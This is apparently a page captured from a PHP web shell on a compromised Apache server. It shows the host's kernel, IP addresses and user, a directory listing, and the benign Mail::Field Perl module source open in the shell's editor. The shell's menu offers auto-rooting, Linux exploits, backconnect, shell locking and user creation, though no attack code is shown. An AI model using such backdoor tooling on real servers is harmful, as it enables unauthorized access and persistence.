Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.186.132
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
[ HOME SHELL ]
Name
Size
Permission
Action
Field
[ DIR ]
drwxr-xr-x
Mailer
[ DIR ]
drwxr-xr-x
Address.pm
6.66
KB
-rw-r--r--
Address.pod
3.71
KB
-rw-r--r--
Cap.pm
6.17
KB
-rw-r--r--
Cap.pod
3.74
KB
-rw-r--r--
Field.pm
4.68
KB
-rw-r--r--
Field.pod
4.9
KB
-rw-r--r--
Filter.pm
1.23
KB
-rw-r--r--
Filter.pod
2.79
KB
-rw-r--r--
Header.pm
14.02
KB
-rw-r--r--
Header.pod
7.72
KB
-rw-r--r--
Internet.pm
12
KB
-rw-r--r--
Internet.pod
10.31
KB
-rw-r--r--
Mailer.pm
4.73
KB
-rw-r--r--
Mailer.pod
3.88
KB
-rw-r--r--
Send.pm
1.13
KB
-rw-r--r--
Send.pod
2.8
KB
-rw-r--r--
Util.pm
3.14
KB
-rw-r--r--
Util.pod
3.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Field.pm
# Copyrights 1995-2016 by [Mark Overmeer <perl@overmeer.net>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. package Mail::Field; use vars '$VERSION'; $VERSION = '2.18'; use Carp; use strict; use Mail::Field::Generic; sub _header_pkg_name { my $header = lc shift; $header =~ s/((\b|_)\w)/\U$1/g; if(length($header) > 8) { my @header = split /[-_]+/, $header; my $chars = int((7 + @header) / @header) || 1; $header = substr join('', map {substr $_,0,$chars} @header), 0, 8; } else { $header =~ s/[-_]+//g; } 'Mail::Field::' . $header; } sub _require_dir { my($class, $dir, $dir_sep) = @_; local *DIR; opendir DIR, $dir or return; my @inc; foreach my $f (readdir DIR) { $f =~ /^([\w\-]+)/ or next; my $p = $1; my $n = "$dir$dir_sep$p"; if(-d $n ) { _require_dir("${class}::$f", $n, $dir_sep); } else { $p =~ s/-/_/go; eval "require ${class}::$p"; # added next warning in 2.14, may be ignored for ancient code warn $@ if $@; } } closedir DIR; } sub import { my $class = shift; if(@_) { local $_; eval "require " . _header_pkg_name($_) || die $@ for @_; return; } my ($dir, $dir_sep); foreach my $f (grep defined $INC{$_}, keys %INC) { next if $f !~ /^Mail(\W)Field\W/i; $dir_sep = $1; # $dir = ($INC{$f} =~ /(.*Mail\W+Field)/i)[0] . $dir_sep; ($dir = $INC{$f}) =~ s/(Mail\W+Field).*/$1$dir_sep/; last; } _require_dir('Mail::Field', $dir, $dir_sep); } # register a header class, this creates a new method in Mail::Field # which will call new on that class sub register { my $thing = shift; my $method = lc shift; my $class = shift || ref($thing) || $thing; $method =~ tr/-/_/; $class = _header_pkg_name $method if $class eq "Mail::Field"; croak "Re-register of $method" if Mail::Field->can($method); no strict 'refs'; *{$method} = sub { shift; $class->can('stringify') or eval "require $class" or die $@; $class->_build(@_); }; } # the *real* constructor # if called with one argument then the `parse' method will be called # otherwise the `create' method is called sub _build { my $self = bless {}, shift; @_==1 ? $self->parse(@_) : $self->create(@_); } sub new { my $class = shift; my $field = lc shift; $field =~ tr/-/_/; $class->$field(@_); } sub combine {confess "Combine not implemented" } our $AUTOLOAD; sub AUTOLOAD { my $method = $AUTOLOAD; $method =~ s/.*:://; $method =~ /^[^A-Z\x00-\x1f\x80-\xff :]+$/ or croak "Undefined subroutine &$AUTOLOAD called"; my $class = _header_pkg_name $method; unless(eval "require $class") { my $tag = $method; $tag =~ s/_/-/g; $tag = join '-', map { /^[b-df-hj-np-tv-z]+$|^MIME$/i ? uc($_) : ucfirst(lc $_) } split /\-/, $tag; no strict; @{"${class}::ISA"} = qw(Mail::Field::Generic); *{"${class}::tag"} = sub { $tag }; } Mail::Field->can($method) or $class->register($method); goto &$AUTOLOAD; } # Of course, the functionality should have been in the Mail::Header class sub extract { my ($class, $tag, $head) = (shift, shift, shift); my $method = lc $tag; $method =~ tr/-/_/; if(@_==0 && wantarray) { my @ret; my $text; # need real copy! foreach $text ($head->get($tag)) { chomp $text; push @ret, $class->$method($text); } return @ret; } my $idx = shift || 0; my $text = $head->get($tag,$idx) or return undef; chomp $text; $class->$method($text); } # before 2.00, this method could be called as class method, however # not all extensions supported that. sub create { my ($self, %arg) = @_; %$self = (); $self->set(\%arg); } # before 2.00, this method could be called as class method, however # not all extensions supported that. sub parse { my $class = ref shift; confess "parse() not implemented"; } sub stringify { confess "stringify() not implemented" } sub tag { my $thing = shift; my $tag = ref($thing) || $thing; $tag =~ s/.*:://; $tag =~ s/_/-/g; join '-', map { /^[b-df-hj-np-tv-z]+$|^MIME$/i ? uc($_) : ucfirst(lc $_) } split /\-/, $tag; } sub set(@) { confess "set() not implemented" } # prevent the calling of AUTOLOAD for DESTROY :-) sub DESTROY {} sub text { my $self = shift; @_ ? $self->parse(@_) : $self->stringify; } 1;
Close